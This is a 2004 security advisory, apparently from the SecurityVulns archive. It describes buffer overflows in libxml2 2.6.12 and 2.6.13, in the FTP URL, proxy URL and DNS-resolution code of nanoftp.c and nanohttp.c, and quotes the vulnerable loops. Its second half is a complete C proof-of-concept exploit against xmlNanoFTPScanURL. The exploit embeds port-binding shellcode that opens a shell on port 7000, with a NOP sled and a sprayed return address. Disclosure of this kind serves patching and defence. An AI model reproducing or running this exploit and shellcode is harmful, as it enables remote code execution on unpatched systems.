libxml2 remote buffer overflows (not in xml parsing code though)

2004-10-27T00:00:00
ID SECURITYVULNS:DOC:7087
Type securityvulns
Reporter Securityvulns
Modified 2004-10-27T00:00:00

Description

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Subject:

libXML remotely exploitable buffer overflows.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Product Description:

Libxml2 is the XML C parser and toolkit developed for the Gnome project (but usable outside of the Gnome platform), it is free software available under the MIT License. XML itself is a metalanguage to design markup languages, i.e. text language where semantic and structure are added to the content using extra "markup" information enclosed between angle brackets. HTML is the most well-known markup language. Though the library is written in C a variety of language bindings make it available in other environments. http://www.xmlsoft.org/

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerable:

Tested on libxml2-2.6.12 and libxml2-2.6.13.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Summary:

1]There is a buffer overflow when parsing a URL with ftp information in it. A loop incorrectly copies data from a user supplied buffer into a finite stack buffer with no regard for the length being copied.

2]There is a buffer overflow when parsing a proxy URL with ftp information in it. A loop incorrectly copies data from a user supplied buffer into a finite stack buffer with no regard for the length being copied.

3]There are multiple buffer overflows in the code that resolves names via DNS. An attacker running a malicious DNS server, or an attacker on a LAN spoofing DNS replies could leverage these to execute code on the victim's computer.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Details:

1]The vulnerable code occurs in the file nanoftp.c in function xmlNanoFTPScanURL() around line 360:

while (cur[0] != ']')
    buf[indx++] = *cur++;

buf is the stack buffer, and cur is the URL we control. What's funny here, is that in other areas of the code the same mistake is avoided, we have this:

while ((cur[0] != ']') && (indx < XML_NANO_MAX_URLBUF-1))
    buf[indx++] = *cur++;

Which occurs in a similar function to the one called above.

2]The vulnerable code occurs in the file nanoftp.c in function xmlNanoFTPScanProxy() around line 610:

while (cur[0] != ']')
    buf[indx++] = *cur++;

buf is the stack buffer, and cur is the URL we control.

3]There are two different functions, with three different code sections each containing two overflows. However I'd classify this as two distinct bugs, not six, as two of the bugs are conditionally compiled in only if two others are not. The first two occur in the file nanoftp.c, lines 1110-1120, in the function xmlNanoFTPConnect(). The function getaddrinfo() is called to resolve a hostname, the returned info is then copied into a heap buffer in a call to memcpy(). The copy length is taken from the DNS reply, rather than using the size of the destination structure. The second set occur in nanohttp.c, lines 1070-1080, in the function xmlNanoHTTPConnectHost(). Data from getaddrinfo() is again copied incorrectly, this time into a local stack buffer. The third set of overflows occurs in nanohttp.c, lines 1145-1155, in the function xmlNanoHTTPConnectHost(). This time, gethostbyname() is called, and data is again memcpy()'d into a local stack buffer using the DNS length instead of destination structure size.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Exploit:

1]Simple stack based overflow, exploit provided.

2]Nearly same exploit as above, just change function name.

3]None provided.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Notes:

This DOES NOT affect the core xml parsing code, which is what 99% of programs use this for. One program that does use the above code is ImageMagick, but exploiting it would require the user typing your shellcode buffer into the command line for you, g/l :D

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

/ * libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom * * [n00b@localho.outernet] gcc -Wall libsuxml.c -lxml2 * [n00b@localho.outernet] ./a.out * Usage: ./a.out <retaddr> [ align ] * [n00b@localho.outernet] netstat -ant | grep 7000 * [n00b@localho.outernet] ./a.out 0xbfff0360 * xmlNanoFTPScanURL: Use [IPv6]/IPv4 format * [n00b@localho.outernet] netstat -ant | grep 7000 * tcp 0 0 0.0.0.0:7000 0.0.0.0: LISTEN
* */

include <stdio.h>

include <stdlib.h>

include <string.h>

include <unistd.h>

include <netinet/in.h>

include <sys/socket.h>

include <sys/types.h>

include <libxml/nanoftp.h>

define die(x) do{ perror((x)); exit(1); }while(0)

define BS 0x10000

define NOP 0x90

define NNOPS 3000

define ALIGN 0

/ call them /

define SHELL_LEN (sizeof(sc)-1)

char sc[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

/ / int main(int argc, char **argv) { int x = 0, len = 0; char buf[BS] = {'A',}; long retaddr = 0, align = ALIGN;

if&#40;argc &lt; 2&#41;{
    fprintf&#40;stderr, &quot;Usage: &#37;s &lt;retaddr&gt; [ align ]&#92;n&quot;, argv[0]&#41;;
    return EXIT_FAILURE;
}
if&#40;sscanf&#40;argv[1], &quot;&#37;lx&quot;, &retaddr&#41; != 1&#41;
    die&#40;&quot;sscanf&quot;&#41;;
if&#40;argc &gt; 2&#41;
    align = atoi&#40;argv[2]&#41;;
if&#40;align &lt; 0 || align &gt; 3&#41;
    die&#40;&quot;nice try newblar&quot;&#41;;

strncpy&#40;buf, &quot;://[&quot;, 4&#41;;
len += 4;
memset&#40;buf+len, NOP, NNOPS&#41;;
len += NNOPS;
memcpy&#40;buf+len, sc, SHELL_LEN&#41;;
len += SHELL_LEN;

len += align;
for&#40;x = 0; x &lt; 2000 - &#40;sizeof&#40;retaddr&#41; - 1&#41;; x += sizeof&#40;retaddr&#41;&#41;
    memcpy&#40;buf+len+x, &retaddr, sizeof&#40;retaddr&#41;&#41;;
buf[len+x] = &#39;]&#39;;
buf[len+x+1] = 0;

xmlNanoFTPNewCtxt&#40;buf&#41;;

return EXIT_SUCCESS;

}

-- -sean